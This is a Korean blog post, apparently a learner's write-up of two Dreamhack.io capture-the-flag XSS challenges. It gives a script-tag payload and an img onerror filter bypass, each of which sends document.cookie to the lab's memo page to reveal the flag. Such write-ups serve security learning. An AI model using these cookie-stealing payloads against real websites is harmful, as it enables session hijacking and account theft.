XSS 문제 풀기

세바님·2024년 4월 4일
0

서론

오늘은 Dreamhack.io의 XSS 문제를 풀어보았습니다.

XSS-1

vuln 페이지로 가보니 params로 넣은 스크립트가 작동하는 것을 확인할 수 있습니다.

memo 페이지는 params로 memo에 값을 넣으면 텍스트가 추가됩니다.
그리고 백엔드 코드를 보니
로컬에서 셀레니움을 돌리고 쿠키를 넣는 것 같습니다.
이걸 flag 페이지에 다음 스크립트를 돌리도록 해봅시다.

<script>location.href="http://localhost:8000/memo?memo="+document.cookie</script>


제출 버튼을 누르면

alert가 뜬걸 확인했습니다. memo페이지로 가보면 flag가 잘 나온 모습을 확인할 수 있습니다.

XSS-2

이 문제도 XSS-1 문제와 코드에서 차이점은 없었습니다. 그러나 vuln 페이지에서 스크립트가 먹히지 않았습니다.
이를 우회하기 위해 img 태그를 활용해 스크립트를 제출해 보았습니다.

<img src="" onerror="location.href='http://localhost:8000/memo?memo='+document.cookie">

제출하니 잘 작동하는걸 확인할 수 있습니다.

마무리

오늘은 XSS 문제를 풀어보았습니다. 직접 해 보니까 이해가 잘 되는 것 같았습니다.

profile
꼴리는대로 사는게 꿈입니다

0개의 댓글